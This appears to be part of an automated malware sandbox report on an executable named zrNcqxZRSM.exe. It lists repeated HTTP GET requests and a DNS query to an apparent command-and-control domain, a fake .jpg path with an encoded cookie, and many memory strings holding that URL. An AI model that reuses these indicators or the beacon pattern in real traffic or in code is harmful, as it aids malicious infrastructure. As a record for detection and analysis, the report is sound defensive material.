Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: cs.xiaojingjingaihuifeng.xyz

Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/$
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/&
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/-4c6f-abc3-57d03ec4c7ad
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/0
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/4
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/F
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/Z
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/b
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/dt
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/h
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/r
Source: zrNcqxZRSM.exe, 00000000.00000003.2679476654.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg
Source: zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2462065563.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2472265118.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg01
Source: zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg;
Source: zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2304825437.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2567854070.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2659253530.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2649042698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2679476654.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg?1
Source: zrNcqxZRSM.exe, 00000000.00000003.2772179277.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgBH
Source: zrNcqxZRSM.exe, 00000000.00000003.2730445770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2462065563.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2567854070.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2699895770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgD
Source: zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgL1
Source: zrNcqxZRSM.exe, 00000000.00000003.2274006817.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2730445770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2304825437.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2387558633.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2462065563.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgP0
Source: zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2387558633.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2462065563.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2397439674.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2472265118.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2772179277.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgSecurity
Source: zrNcqxZRSM.exe, 00000000.00000003.2730445770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2699895770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2772179277.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgY
Source: zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2397439674.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpga1X
Source: zrNcqxZRSM.exe, 00000000.00000002.3409030268.000001A266CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgase
Source: zrNcqxZRSM.exe, 00000000.00000003.2730445770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2304825437.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2387558633.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2462065563.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2699895770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2659253530.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgh1A
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgiaojingjingaihuifeng.xyz
Source: zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2567854070.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2699895770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2659253530.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2649042698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2679476654.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgihuifeng
Source: zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2304825437.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2567854070.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2699895770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2659253530.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2649042698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2213879083.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2679476654.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgity
Source: zrNcqxZRSM.exe, 00000000.00000003.2730445770.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3409030268.000001A266CC0000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgl
Source: zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgl=K
Source: zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpglHH
Source: zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpglSH
